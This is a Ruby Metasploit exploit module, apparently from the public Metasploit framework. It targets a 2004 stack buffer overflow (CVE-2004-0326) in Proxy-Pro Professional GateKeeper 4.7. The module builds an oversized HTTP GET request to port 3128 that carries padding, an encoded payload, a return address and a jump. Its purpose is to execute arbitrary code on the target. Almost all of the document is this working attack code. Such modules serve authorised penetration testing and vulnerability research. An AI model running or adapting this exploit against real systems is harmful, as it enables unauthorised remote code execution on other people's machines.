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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Proxy-Pro Professional
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          GateKeeper 4.7. By sending a long HTTP GET to the default port
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          of 3128, a remote attacker could overflow a buffer and execute
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          arbitrary code.
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2004-0326'],
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          ['OSVDB', '4027'],
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          ['BID', '9716'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00+&=%\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2004-02-23',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(3128)
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    sploit = "GET /" + rand_text_english(3603, payload_badchars)
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    sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
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    sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
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    sock.put(sploit)
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    sock.get_once(-1, 3)
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    handler
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    disconnect
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  end
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end
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